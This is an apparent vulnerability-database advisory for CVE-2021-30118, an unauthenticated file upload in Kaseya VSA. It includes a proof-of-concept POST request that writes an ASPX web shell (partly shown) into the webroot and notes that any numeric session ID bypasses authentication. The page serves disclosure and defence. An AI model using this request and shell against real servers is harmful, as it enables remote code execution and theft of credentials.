Vulnerabilities > CVE-2021-30118 - Unrestricted Upload of File with Dangerous Type vulnerability in Kaseya VSA
Summary
An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.
Vulnerable Configurations
| Part | Description | Count |
|---|---|---|
| Application | 1 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Accessing Functionality Not Properly Constrained by ACLs In applications, particularly web applications, access to functionality is mitigated by the authorization framework, whose job it is to map ACLs to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application or can run queries for data that he is otherwise not supposed to.
- Privilege Abuse An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources. If access control mechanisms are absent or misconfigured, a user may be able to access resources that are intended only for higher level users. An adversary may be able to exploit this to utilize a less trusted account to gain information and perform activities reserved for more trusted accounts. This attack differs from privilege escalation and other privilege stealing attacks in that the adversary never actually escalates their privileges but instead is able to use a lesser degree of privilege to access resources that should be (but are not) reserved for higher privilege accounts. Likewise, the adversary does not exploit trust or subvert systems - all control functionality is working as configured but the configuration does not adequately protect sensitive resources at an appropriate level.